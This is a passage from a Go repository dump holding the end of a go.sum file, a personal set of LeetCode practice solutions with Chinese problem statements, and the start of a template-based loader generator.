h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= 54 | github.com/pkg/errors v0.8.0 h1:WdK/asTD0HN+q6hsWO3/vpuAkAr+tw6aNJNDFFf0+qw= 55 | github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 56 | github.com/rakyll/statik v0.1.5 h1:Ly2UjURzxnsSYS0zI50fZ+srA+Fu7EbpV5hglvJvJG0= 57 | github.com/rakyll/statik v0.1.5/go.mod h1:OEi9wJV/fMUAGx1eNjq75DKDsJVuEv1U0oYdX6GX8Zs= 58 | github.com/ricochet2200/go-disk-usage v0.0.0-20150921141558-f0d1b743428f h1:w4VLAgWDnrcBDFSi8Ppn/MrB/Z1A570+MV90CvMtVVA= 59 | github.com/ricochet2200/go-disk-usage v0.0.0-20150921141558-f0d1b743428f/go.mod h1:yhevTRDiduxPJHQDCtlqUn53ojFPkRh/mKhMUzQUCpc= 60 | golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81 h1:00VmoueYNlNz/aHIilyyQz/MHSqGoWJzpFv/HW8xpzI= 61 | golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= 62 | golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 63 | golang.org/x/net v0.0.0-20181106040132-ab400d30ebde h1:d+Rwm0ydekeHqJr+mizM2MoeV4x+xc5WDjMtJpTmwHo= 64 | golang.org/x/net v0.0.0-20181106040132-ab400d30ebde/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 65 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6 h1:bjcUS9ztw9kFmmIxJInhon/0Is3p+EHBKNgquIzo1OI= 66 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 67 | golang.org/x/sys v0.0.0-20190310054646-10058d7d4faa h1:lqti/xP+yD/6zH5TqEwx2MilNIJY5Vbc6Qr8J3qyPIQ= 68 | golang.org/x/sys v0.0.0-20190310054646-10058d7d4faa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 69 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 70 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= 71 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 72 | gopkg.in/cheggaaa/pb.v1 v1.0.28 h1:n1tBJnnK2r7g9OW2btFH91V92STTUevLXYFb8gy9EMk= 73 | gopkg.in/cheggaaa/pb.v1 v1.0.28/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= 74 | gopkg.in/mgo.v2 v2.0.0-20180705113604-9856a29383ce h1:xcEWjVhvbDy+nHP67nPDDpbYrY+ILlfndk4bRioVHaU= 75 | gopkg.in/mgo.v2 v2.0.0-20180705113604-9856a29383ce/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= 76 | gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE= 77 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 78 | -------------------------------------------------------------------------------- /leet_code/contest123/add-to-array-form-of-integer.go: -------------------------------------------------------------------------------- 1 | package contest123 2 | 3 | import ( 4 | "log" 5 | ) 6 | 7 | func addToArrayForm(A []int, K int) []int { 8 | 9 | var kk []int 10 | for K > 0 { 11 | n := K % 10 12 | K /= 10 13 | t := []int{n} 14 | kk = append(t, kk...) 15 | } 16 | if len(kk) > len(A) { 17 | A, kk = kk, A 18 | } 19 | A = append([]int{0}, A...) 20 | kk = append(make([]int, len(A)-len(kk)), kk...) 21 | more := 0 22 | for i := 0; i < len(kk); i++ { 23 | idxK := len(kk) - i - 1 24 | idxA := len(A) - i - 1 25 | add := A[idxA] + kk[idxK] + more 26 | A[idxA] = add % 10 27 | more = add / 10 28 | } 29 | if A[0] == 0 { 30 | A = A[1:] 31 | } 32 | 33 | return A 34 | } 35 | 36 | func Question1() { 37 | A := []int{1, 2, 6, 3, 0, 7, 1, 7, 1, 9, 7, 5, 6, 6, 4, 4, 0, 0, 6, 3} 38 | K := 516 39 | A = []int{9, 9, 9, 9, 9, 9} 40 | K = 1 41 | 42 | result := addToArrayForm(A, K) 43 | log.Println(A, K) 44 | log.Println(result) 45 | } 46 | -------------------------------------------------------------------------------- /leet_code/contest123/equationsPossible.go: -------------------------------------------------------------------------------- 1 | package contest123 2 | 3 | import ( 4 | "log" 5 | "time" 6 | ) 7 | 8 | func equationsPossible(equations []string) bool { 9 | 10 | var neq []string 11 | mp := make(map[uint8]*[]int) 12 | for _, s := range equations { 13 | if s[1] == '!' { 14 | neq = append(neq, s) 15 | continue 16 | } 17 | a := s[0] 18 | b := s[3] 19 | if valueA, okA := mp[a]; okA { 20 | if valueB, okB := mp[b]; okB { 21 | for k, v := range mp { 22 | if v == valueB { 23 | mp[k] = valueA 24 | } 25 | } 26 | } else { 27 | mp[b] = valueA 28 | } 29 | } else { 30 | if valueB, okB := mp[b]; okB { 31 | mp[a] = valueB 32 | } else { 33 | mp[b] = &[]int{} 34 | //log.Println(s, mp) 35 | mp[a] = mp[b] 36 | } 37 | } 38 | //log.Println(mp) 39 | } 40 | 41 | for _, s := range neq { 42 | a := s[0] 43 | b := s[3] 44 | if a == b { 45 | return false 46 | } 47 | valueA, okA := mp[a] 48 | valueB, okB := mp[b] 49 | if okA && okB { 50 | if valueA == valueB { 51 | return false 52 | } 53 | } 54 | } 55 | 56 | return true 57 | } 58 | 59 | func Question2() { 60 | eq := []string{"e==e", "d!=e", "c==d", "d!=e"} 61 | log.Println(equationsPossible(eq)) 62 | 63 | t := time.NewTicker(time.Second) 64 | stop := false 65 | go func() { 66 | //time.Sleep(time.Second) 67 | t.Stop() 68 | stop = true 69 | }() 70 | for { 71 | if stop { 72 | break 73 | } 74 | <-t.C 75 | } 76 | log.Println("ok") 77 | } 78 | -------------------------------------------------------------------------------- /leet_code/former/addTwoNumbers.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 给定两个非空链表来表示两个非负整数。位数按照逆序方式存储,它们的每个节点只存储单个数字。将两数相加返回一个新的链表。 5 | 6 | 你可以假设除了数字 0 之外,这两个数字都不会以零开头。 7 | 8 | 示例: 9 | 10 | 输入:(2 -> 4 -> 3) + (5 -> 6 -> 4) 11 | 输出:7 -> 0 -> 8 12 | 原因:342 + 465 = 807 13 | */ 14 | 15 | /** 16 | * Definition for singly-linked list. 17 | * type ListNode struct { 18 | * Val int 19 | * Next *ListNode 20 | * } 21 | */ 22 | type ListNode struct { 23 | Val int 24 | Next *ListNode 25 | } 26 | 27 | func addTwoNumbers(l1 *ListNode, l2 *ListNode) *ListNode { 28 | full := 0 29 | result := new(ListNode) 30 | l1Node := l1 31 | l2Node := l2 32 | resultNode := result 33 | for { 34 | sum := l1Node.Val + l2Node.Val + full 35 | resultNode.Next = &ListNode{ 36 | Val: sum % 10, 37 | } 38 | resultNode = resultNode.Next 39 | if sum > 9 { 40 | full = 1 41 | } else { 42 | full = 0 43 | } 44 | l1Node = l1Node.Next 45 | l2Node = l2Node.Next 46 | if l1Node == nil && l2Node == nil { 47 | if full == 1 { 48 | resultNode.Next = &ListNode{ 49 | full, nil, 50 | } 51 | } 52 | break 53 | } 54 | if l1Node == nil { 55 | l1Node = &ListNode{} 56 | } 57 | if l2Node == nil { 58 | l2Node = &ListNode{} 59 | } 60 | } 61 | return result.Next 62 | } 63 | -------------------------------------------------------------------------------- /leet_code/former/calculate.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 实现一个基本的计算器来计算一个简单的字符串表达式的值。 5 | 6 | 字符串表达式可以包含左括号 ( ,右括号 ),加号 + ,减号 -,非负整数和空格 。 7 | 8 | 示例 1: 9 | 10 | 输入: "1 + 1" 11 | 输出: 2 12 | 示例 2: 13 | 14 | 输入: " 2-1 + 2 " 15 | 输出: 3 16 | 示例 3: 17 | 18 | 输入: "(1+(4+5+2)-3)+(6+8)" 19 | 输出: 23 20 | 说明: 21 | 22 | 你可以假设所给定的表达式都是有效的。 23 | 请不要使用内置的库函数 eval。 24 | */ 25 | 26 | func calculate(s string) int { 27 | s = "(" + s + ")" 28 | // stack 符号加数字存储 29 | stk := []int{1, 0} 30 | p := 1 31 | number := 0 32 | for _, ch := range s { 33 | //log.Println(ch) 34 | if ch == '(' { 35 | stk = append(stk, p, 0) 36 | p = 1 37 | } else if ch == ')' { 38 | stk[len(stk)-1] += number * p 39 | //log.Println(stk) 40 | val := stk[len(stk)-1] * stk[len(stk)-2] 41 | stk = stk[:len(stk)-2] 42 | stk[len(stk)-1] += val 43 | number = 0 44 | } else if ch >= '0' && ch <= '9' { 45 | number *= 10 46 | number += int(ch - '0') 47 | } else if ch == '+' || ch == '-' { 48 | stk[len(stk)-1] += number * p 49 | number = 0 50 | p = 1 51 | if ch == '-' { 52 | p = -1 53 | } 54 | } 55 | //log.Println(stk, string(ch)) 56 | } 57 | return stk[0] * stk[1] 58 | } 59 | -------------------------------------------------------------------------------- /leet_code/former/convert.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | /** 8 | 9 | 将字符串 "PAYPALISHIRING" 以Z字形排列成给定的行数: 10 | 11 | P A H N 12 | A P L S I I G 13 | Y I R 14 | 之后从左往右,逐行读取字符:"PAHNAPLSIIGYIR" 15 | 16 | 实现一个将字符串进行指定行数变换的函数: 17 | 18 | string convert(string s, int numRows); 19 | 示例 1: 20 | 21 | 输入: s = "PAYPALISHIRING", numRows = 3 22 | 输出: "PAHNAPLSIIGYIR" 23 | 示例 2: 24 | 25 | 输入: s = "PAYPALISHIRING", numRows = 4 26 | 输出: "PINALSIGYAHRPI" 27 | 解释: 28 | 29 | P I N 30 | A L S I G 31 | Y A H R 32 | P I 33 | */ 34 | 35 | func convert(s string, numRows int) string { 36 | if numRows == 1 { 37 | return s 38 | } 39 | rows := make([]string, numRows) 40 | idx := 0 41 | dirct := 1 42 | for _, c := range s { 43 | ch := string(c) 44 | rows[idx] += ch 45 | //log.Println(idx, dirct) 46 | if dirct == 1 && idx == numRows-1 { 47 | dirct = -1 48 | } else if dirct == -1 && idx == 0 { 49 | dirct = 1 50 | } 51 | idx += dirct 52 | /*for _, s := range rows { 53 | log.Println(s) 54 | } 55 | log.Println("-----")*/ 56 | } 57 | return strings.Join(rows, "") 58 | } 59 | -------------------------------------------------------------------------------- /leet_code/former/findMedianSortedArrays.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 5 | 给定两个大小为 m 和 n 的有序数组 nums1 和 nums2 。 6 | 7 | 请找出这两个有序数组的中位数。要求算法的时间复杂度为 O(log (m+n)) 。 8 | 9 | 你可以假设 nums1 和 nums2 不同时为空。 10 | 11 | 示例 1: 12 | 13 | nums1 = [1, 3] 14 | nums2 = [2] 15 | 16 | 中位数是 2.0 17 | 示例 2: 18 | 19 | nums1 = [1, 2] 20 | nums2 = [3, 4] 21 | 22 | 中位数是 (2 + 3)/2 = 2.5 23 | */ 24 | 25 | func findMedianSortedArrays(nums1 []int, nums2 []int) float64 { 26 | nums1Index, nums2Index := 0, 0 27 | target := make([]int, 0) 28 | for { 29 | if nums1Index == len(nums1) { 30 | for ; nums2Index < len(nums2); nums2Index++ { 31 | target = append(target, nums2[nums2Index]) 32 | } 33 | break 34 | } 35 | if nums2Index == len(nums2) { 36 | for ; nums1Index < len(nums1); nums1Index++ { 37 | target = append(target, nums1[nums1Index]) 38 | } 39 | break 40 | } 41 | if nums1[nums1Index] < nums2[nums2Index] { 42 | target = append(target, nums1[nums1Index]) 43 | nums1Index++ 44 | } else { 45 | target = append(target, nums2[nums2Index]) 46 | nums2Index++ 47 | } 48 | } 49 | if len(target)%2 == 1 { 50 | return float64(target[len(target)/2]) 51 | } else { 52 | return float64(target[len(target)/2]+target[len(target)/2-1]) / 2 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /leet_code/former/isLongPressedName.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | func isLongPressedName(name string, typed string) bool { 4 | if len(typed) < len(name) { 5 | return false 6 | } 7 | nameLeft := name 8 | typedLeft := typed 9 | var nameCh, typedCh string 10 | var typedNum, nameNum int 11 | for len(nameLeft) > 0 { 12 | nameLeft, nameCh, nameNum = sameString(nameLeft) 13 | typedLeft, typedCh, typedNum = sameString(typedLeft) 14 | if nameCh != typedCh { 15 | return false 16 | } 17 | if typedNum < nameNum { 18 | return false 19 | } 20 | if len(typedLeft) < len(nameLeft) { 21 | return false 22 | } 23 | } 24 | return true 25 | } 26 | 27 | func sameString(str string) (left, ch string, num int) { 28 | for i := 0; i < len(str); i++ { 29 | if i == 0 { 30 | num = 1 31 | ch = string(str[0]) 32 | } else { 33 | if ch == string(str[i]) { 34 | num++ 35 | } else { 36 | break 37 | } 38 | } 39 | } 40 | left = str[num:] 41 | return 42 | } 43 | -------------------------------------------------------------------------------- /leet_code/former/lengthOfLongestSubstring.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 给定一个字符串,找出不含有重复字符的最长子串的长度。 5 | 6 | 示例 1: 7 | 8 | 输入: "abcabcbb" 9 | 输出: 3 10 | 解释: 无重复字符的最长子串是 "abc",其长度为 3。 11 | 示例 2: 12 | 13 | 输入: "bbbbb" 14 | 输出: 1 15 | 解释: 无重复字符的最长子串是 "b",其长度为 1。 16 | 示例 3: 17 | 18 | 输入: "pwwkew" 19 | 输出: 3 20 | 解释: 无重复字符的最长子串是 "wke",其长度为 3。 21 | 请注意,答案必须是一个子串,"pwke" 是一个子序列 而不是子串。 22 | */ 23 | 24 | func lengthOfLongestSubstring(s string) int { 25 | // 出现过的字符map 26 | maxLength := 0 27 | mp := make(map[string]int) 28 | for pos, v := range s { 29 | c := string(v) 30 | if posPre, ok := mp[c]; !ok { // 没有重复的 31 | mp[c] = pos 32 | } else { // 重复了 33 | if len(mp) > maxLength { 34 | maxLength = len(mp) 35 | } 36 | for k, v := range mp { 37 | if v <= posPre { 38 | delete(mp, k) 39 | } 40 | } 41 | mp[c] = pos 42 | } 43 | } 44 | if maxLength < len(mp) { 45 | maxLength = len(mp) 46 | } 47 | return maxLength 48 | } 49 | -------------------------------------------------------------------------------- /leet_code/former/longestPalindrome.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | /** 8 | 给定一个字符串 s,找到 s 中最长的回文子串。你可以假设 s 的最大长度为1000。 9 | 10 | 示例 1: 11 | 12 | 输入: "babad" 13 | 输出: "bab" 14 | 注意: "aba"也是一个有效答案。 15 | 示例 2: 16 | 17 | 输入: "cbbd" 18 | 输出: "bb" 19 | */ 20 | 21 | func longestPalindrome(s string) string { 22 | if len(s) <= 1 { 23 | return s 24 | } 25 | ori := strings.Split(s, "") // 字符数组 26 | lg := len(ori) 27 | dest := make([]string, 0) 28 | lastCenter := 2*lg - 1 29 | destLg := 0 30 | for ctr := 1; ctr <= lastCenter; ctr++ { 31 | odd := ctr%2 == 1 32 | tmp := make([]string, 0) 33 | // 假设中心点是奇数 34 | startRight := (ctr + 1) / 2 35 | startLeft := ctr / 2 36 | if !odd { // 如果是偶数 37 | startRight = ctr/2 + 1 38 | startLeft = ctr/2 - 1 39 | } 40 | for idxL, idxR := startLeft, startRight; idxL >= 0 && idxR < lg; idxL, idxR = idxL-1, idxR+1 { 41 | if ori[idxL] == ori[idxR] { 42 | tmp = append(tmp, ori[idxR]) 43 | } else { 44 | break 45 | } 46 | } 47 | if odd { 48 | if len(tmp)*2 > destLg { 49 | dest = tmp 50 | destLg = len(tmp) * 2 51 | } 52 | } else { // 偶数需要加上1 53 | if len(tmp) > 0 && len(tmp)*2+1 > destLg { 54 | dest = append([]string{ori[ctr/2]}, tmp...) 55 | destLg = len(tmp)*2 + 1 56 | } 57 | } 58 | } 59 | add := "" 60 | if len(dest) > 0 { 61 | for i := 0; i < len(dest); i++ { 62 | add = dest[i] + add 63 | } 64 | if destLg%2 == 1 { 65 | add = add[:len(add)-1] 66 | } 67 | } 68 | if len(dest) == 1 && destLg%2 == 1 { 69 | return "" 70 | } 71 | ret := add + strings.Join(dest, "") 72 | if len(ret) == 0 { 73 | return ori[0] 74 | } 75 | return ret 76 | } 77 | -------------------------------------------------------------------------------- /leet_code/former/minFlipsMonoIncr.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | func minFlipsMonoIncr(S string) int { 4 | leftNeedFlip := make([]int, len(S)+1) 5 | rightNeedFlip := make([]int, len(S)+1) 6 | // 先统计当 firstOne 为 i 时 左边为1的个数 7 | for i := 0; i < len(leftNeedFlip); i++ { 8 | if i == 0 { 9 | continue 10 | } 11 | leftNeedFlip[i] = leftNeedFlip[i-1] 12 | if string(S[i-1]) == "1" { 13 | leftNeedFlip[i]++ 14 | } 15 | } 16 | // 统计右边为1的个数 17 | for i := len(S); i >= 0; i-- { 18 | if i == len(S) { 19 | continue 20 | } 21 | rightNeedFlip[i] = rightNeedFlip[i+1] 22 | if string(S[i]) == "0" { 23 | rightNeedFlip[i]++ 24 | } 25 | } 26 | flip := len(S) 27 | for i := 0; i < len(leftNeedFlip); i++ { 28 | fl := leftNeedFlip[i] + rightNeedFlip[i] 29 | if fl < flip { 30 | flip = fl 31 | } 32 | } 33 | return flip 34 | } 35 | -------------------------------------------------------------------------------- /leet_code/former/shortestSubarray.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 5 | 返回 A 的最短的非空连续子数组的长度,该子数组的和至少为 K 。 6 | 7 | 如果没有和至少为 K 的非空子数组,返回 -1 。 8 | 9 | 10 | 11 | 示例 1: 12 | 13 | 输入:A = [1], K = 1 14 | 输出:1 15 | 示例 2: 16 | 17 | 输入:A = [1,2], K = 4 18 | 输出:-1 19 | 示例 3: 20 | 21 | 输入:A = [2,-1,2], K = 3 22 | 输出:3 23 | 24 | 25 | 提示: 26 | 27 | 1 <= A.length <= 50000 28 | -10 ^ 5 <= A[i] <= 10 ^ 5 29 | 1 <= K <= 10 ^ 9 30 | */ 31 | 32 | func shortestSubarray1(A []int, K int) int { 33 | aLg := len(A) 34 | // 假设最小长度是1, 找出起点 35 | lastSum := make([]int, aLg) 36 | skip := make([]bool, aLg) 37 | for minLg := 1; minLg <= aLg; minLg++ { 38 | for leftIndex := 0; leftIndex <= aLg-minLg; leftIndex++ { 39 | if A[leftIndex] <= 0 || skip[leftIndex] { 40 | continue 41 | } 42 | sum := lastSum[leftIndex] + A[leftIndex+minLg-1] 43 | if sum >= K { 44 | return minLg 45 | } 46 | lastSum[leftIndex] = sum 47 | if sum <= 0 { 48 | skip[leftIndex] = true 49 | } 50 | } 51 | } 52 | return -1 53 | } 54 | 55 | func shortestSubarray(A []int, K int) int { 56 | aLg := len(A) 57 | sumMap := make([]int, aLg) 58 | lastSum := 0 59 | for i, v := range A { 60 | if A[i] >= K { 61 | return 1 62 | } 63 | sumMap[i] = lastSum + v 64 | lastSum = sumMap[i] 65 | } 66 | 67 | for leftIndex := 1; leftIndex < aLg-1; leftIndex++ { 68 | for rIdx := leftIndex + 1; rIdx < aLg; rIdx++ { 69 | if sumMap[rIdx]-sumMap[leftIndex-1] >= K { 70 | return rIdx - leftIndex + 1 71 | } 72 | } 73 | } 74 | 75 | return -1 76 | } 77 | -------------------------------------------------------------------------------- /leet_code/former/threeEqualParts.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | func threeEqualParts(A []int) []int { 4 | // 算出左边为 1 的个数的map 5 | mp := make([]int, len(A)) 6 | oneChangeMap := make([]int, 0) 7 | if A[0] == 1 { 8 | mp[0] = 1 9 | oneChangeMap = append(oneChangeMap, 0) 10 | } 11 | for i := 1; i < len(A); i++ { 12 | mp[i] = mp[i-1] 13 | if A[i] == 1 { 14 | mp[i]++ 15 | oneChangeMap = append(oneChangeMap, i) 16 | } 17 | } 18 | ones := mp[len(A)-1] 19 | if ones%3 != 0 { 20 | return []int{-1, -1} 21 | } 22 | if ones == 0 { 23 | return []int{0, 2} 24 | } 25 | var iMin, iMax, jMin, jMax int 26 | // 找到分界线 27 | iMin = oneChangeMap[len(oneChangeMap)/3-1] - 1 28 | iMax = oneChangeMap[len(oneChangeMap)/3] - 1 29 | jMin = oneChangeMap[len(oneChangeMap)/3*2-1] - 1 30 | jMax = oneChangeMap[len(oneChangeMap)/3*2] - 1 31 | // 确定后面有多少个0 32 | zeros := len(A) - oneChangeMap[len(oneChangeMap)-1] 33 | i := iMin + zeros 34 | j := jMin + zeros 35 | if i <= iMax && j <= jMax { 36 | firstLength := i + 1 37 | secondLength := j - i 38 | thirdLength := len(A) - 1 - j 39 | minLength := firstLength 40 | if secondLength < minLength { 41 | minLength = secondLength 42 | } 43 | if thirdLength < minLength { 44 | minLength = thirdLength 45 | } 46 | for k := 0; k < minLength; k++ { 47 | if A[i-k] == A[len(A)-1-k] && A[i-k] == A[j-k] { 48 | continue 49 | } else { 50 | return []int{-1, -1} 51 | } 52 | } 53 | for k := minLength; k < firstLength; k++ { 54 | if A[i-k] != 0 { 55 | return []int{-1, -1} 56 | } 57 | } 58 | for k := minLength; k < secondLength; k++ { 59 | if A[j-k] != 0 { 60 | return []int{-1, -1} 61 | } 62 | } 63 | for k := minLength; k < thirdLength; k++ { 64 | if A[len(A)-1-k] != 0 { 65 | return []int{-1, -1} 66 | } 67 | } 68 | return []int{i, j + 1} 69 | } 70 | return []int{-1, -1} 71 | } 72 | -------------------------------------------------------------------------------- /leet_code/former/tow_num_sum.go: -------------------------------------------------------------------------------- 1 | package former 2 | 3 | /** 4 | 给定一个整数数组和一个目标值,找出数组中和为目标值的两个数。 5 | 6 | 你可以假设每个输入只对应一种答案,且同样的元素不能被重复利用。 7 | 8 | 示例: 9 | 10 | 给定 nums = [2, 7, 11, 15], target = 9 11 | 12 | 因为 nums[0] + nums[1] = 2 + 7 = 9 13 | 所以返回 [0, 1] 14 | */ 15 | 16 | func twoSum1(nums []int, target int) []int { 17 | firstIndex := 0 18 | secondIndex := 1 19 | 20 | for firstIndex = 0; firstIndex < len(nums)-1; firstIndex++ { 21 | for secondIndex = firstIndex + 1; secondIndex < len(nums); secondIndex++ { 22 | if nums[firstIndex]+nums[secondIndex] == target { 23 | return []int{firstIndex, secondIndex} 24 | } 25 | } 26 | } 27 | return nil 28 | } 29 | 30 | func twoSum(nums []int, target int) []int { 31 | // 差值map 32 | mp := make(map[int]int) 33 | for index, v := range nums { 34 | need := target - v 35 | if idx, ok := mp[need]; ok { 36 | return []int{idx, index} 37 | } 38 | mp[v] = index 39 | } 40 | return nil 41 | } 42 | -------------------------------------------------------------------------------- /leet_code/leet_code_init.go: -------------------------------------------------------------------------------- 1 | package leet_code 2 | 3 | import ( 4 | "funny/leet_code/contest123" 5 | ) 6 | 7 | func Init() { 8 | contest123.Question2() 9 | } 10 | -------------------------------------------------------------------------------- /leet_code/ten/beautifulArray.go: -------------------------------------------------------------------------------- 1 | package ten 2 | 3 | import "log" 4 | 5 | func beautifulArray(N int) []int { 6 | arr := make([]int, N) 7 | for i, _ := range arr { 8 | arr[i] = i + 1 9 | } 10 | stk := [][]int{arr} 11 | for len(stk) > 0 { 12 | child := stk[len(stk)-1] 13 | stk = stk[:len(stk)-1] 14 | lg := len(child) 15 | log.Println(arr, lg) 16 | if lg == 4 { 17 | t := child[1] 18 | child[1] = child[0] 19 | child[0] = t 20 | t = child[3] 21 | child[3] = child[2] 22 | child[2] = t 23 | continue 24 | } else if lg == 3 { 25 | t := child[2] 26 | child[2] = child[1] 27 | child[1] = t 28 | continue 29 | } else if lg < 3 { 30 | continue 31 | } 32 | sm := lg / 3 33 | tmp := append([]int{}, child[sm:lg-sm]...) 34 | _ = append(child[sm:sm], child[lg-sm:]...) 35 | _ = append(child[2*sm:2*sm], tmp...) 36 | a := child[:sm] 37 | b := child[sm : 2*sm] 38 | c := child[2*sm:] 39 | stk = append(stk, a, b, c) 40 | } 41 | return arr 42 | } 43 | -------------------------------------------------------------------------------- /leet_code/ten/calculate.go: -------------------------------------------------------------------------------- 1 | package ten 2 | 3 | /** 4 | 实现一个基本的计算器来计算一个简单的字符串表达式的值。 5 | 6 | 字符串表达式仅包含非负整数,+, - ,*,/ 四种运算符和空格 。 整数除法仅保留整数部分。 7 | 8 | 示例 1: 9 | 10 | 输入: "3+2*2" 11 | 输出: 7 12 | 示例 2: 13 | 14 | 输入: " 3/2 " 15 | 输出: 1 16 | 示例 3: 17 | 18 | 输入: " 3+5 / 2 " 19 | 输出: 5 20 | 说明: 21 | 22 | 你可以假设所给定的表达式都是有效的。 23 | 请不要使用内置的库函数 eval。 24 | */ 25 | 26 | func calculate(s string) int { 27 | s = s + "+0" 28 | number := 0 29 | result := 0 30 | group := 1 31 | outer := 1 32 | inner := '*' 33 | for _, ch := range s { 34 | if ch == '+' || ch == '-' { 35 | if inner == '*' { 36 | group *= number 37 | } else { 38 | group /= number 39 | } 40 | result += outer * group 41 | inner = '*' 42 | group = 1 43 | number = 0 44 | if ch == '+' { 45 | outer = 1 46 | } else { 47 | outer = -1 48 | } 49 | } 50 | if ch == '*' || ch == '/' { 51 | if inner == '*' { 52 | group *= number 53 | } else { 54 | group /= number 55 | } 56 | inner = ch 57 | number = 0 58 | } 59 | if ch <= '9' && ch >= '0' { 60 | number *= 10 61 | number += int(ch - '0') 62 | } 63 | } 64 | return result 65 | } 66 | -------------------------------------------------------------------------------- /leet_code/ten/climbStairs.go: -------------------------------------------------------------------------------- 1 | package ten 2 | 3 | /** 4 | 5 | 爬楼梯 6 | 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 7 | 8 | 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? 9 | 10 | 注意:给定 n 是一个正整数。 11 | 12 | 示例 1: 13 | 14 | 输入: 2 15 | 输出: 2 16 | 解释: 有两种方法可以爬到楼顶。 17 | 1. 1 阶 + 1 阶 18 | 2. 2 阶 19 | 示例 2: 20 | 21 | 输入: 3 22 | 输出: 3 23 | 解释: 有三种方法可以爬到楼顶。 24 | 1. 1 阶 + 1 阶 + 1 阶 25 | 2. 1 阶 + 2 阶 26 | 3. 2 阶 + 1 阶 27 | */ 28 | 29 | func climbStairs(n int) int { 30 | if n == 1 { 31 | return 1 32 | } 33 | if n == 2 { 34 | return 2 35 | } 36 | arr := make([]int, n) 37 | arr[0] = 1 38 | arr[1] = 2 39 | for i := 2; i < n; i++ { 40 | arr[i] = arr[i-1] + arr[i-2] 41 | } 42 | return arr[n-1] 43 | } 44 | -------------------------------------------------------------------------------- /leet_code/ten/maxProfit.go: -------------------------------------------------------------------------------- 1 | package ten 2 | 3 | /** 4 | 买卖股票的最佳时机 5 | 给定一个数组,它的第 i 个元素是一支给定股票第 i 天的价格。 6 | 7 | 如果你最多只允许完成一笔交易(即买入和卖出一支股票),设计一个算法来计算你所能获取的最大利润。 8 | 9 | 注意你不能在买入股票前卖出股票。 10 | 11 | 示例 1: 12 | 13 | 输入: [7,1,5,3,6,4] 14 | 输出: 5 15 | 解释: 在第 2 天(股票价格 = 1)的时候买入,在第 5 天(股票价格 = 6)的时候卖出,最大利润 = 6-1 = 5 。 16 | 注意利润不能是 7-1 = 6, 因为卖出价格需要大于买入价格。 17 | 示例 2: 18 | 19 | 输入: [7,6,4,3,1] 20 | 输出: 0 21 | 解释: 在这种情况下, 没有交易完成, 所以最大利润为 0。 22 | */ 23 | 24 | func maxProfit(prices []int) int { 25 | maxInRight := make([]int, len(prices)) 26 | max := 0 27 | for i := len(prices) - 1; i > 0; i-- { 28 | if max <= prices[i] { 29 | max = prices[i] 30 | maxInRight[i] = max 31 | } else { 32 | maxInRight[i] = maxInRight[i+1] 33 | } 34 | } 35 | maxP := 0 36 | for i, p := range prices { 37 | if i == len(maxInRight)-1 { 38 | continue 39 | } 40 | if profit := maxInRight[i+1] - p; profit > maxP { 41 | maxP = profit 42 | } 43 | } 44 | return maxP 45 | } 46 | -------------------------------------------------------------------------------- /leet_code/ten/ten_init.go: -------------------------------------------------------------------------------- 1 | package ten 2 | 3 | import "log" 4 | 5 | // 10 月份做的题 6 | func Init() { 7 | n := 5 8 | log.Println(n, beautifulArray(n)) 9 | } 10 | -------------------------------------------------------------------------------- /loader/app_map_generator.go: -------------------------------------------------------------------------------- 1 | //+build ignore 2 | 3 | package main 4 | 5 | import ( 6 | "io/ioutil" 7 | "log" 8 | "os" 9 | "html/template" 10 | ) 11 | 12 | type initFunc func() 13 | 14 | func main() { 15 | 16 | file, err := os.Open(tplFile) 17 | 18 | if err != nil { 19 | log.Println(os.Getwd()) 20 | log.Fatalf("Failed to open %s: %q", tplFile, err) 21 | } 22 | 23 | data, err := ioutil.ReadAll(file) 24 | 25 | tplStr := string(data) 26 | 27 | apps := make([]string, 0) 28 | 29 | apps = append(apps, scanApps()...) 30 | 31 | tpl, err := template.New("tpl").Parse(tplStr) 32 | if err != nil { 33 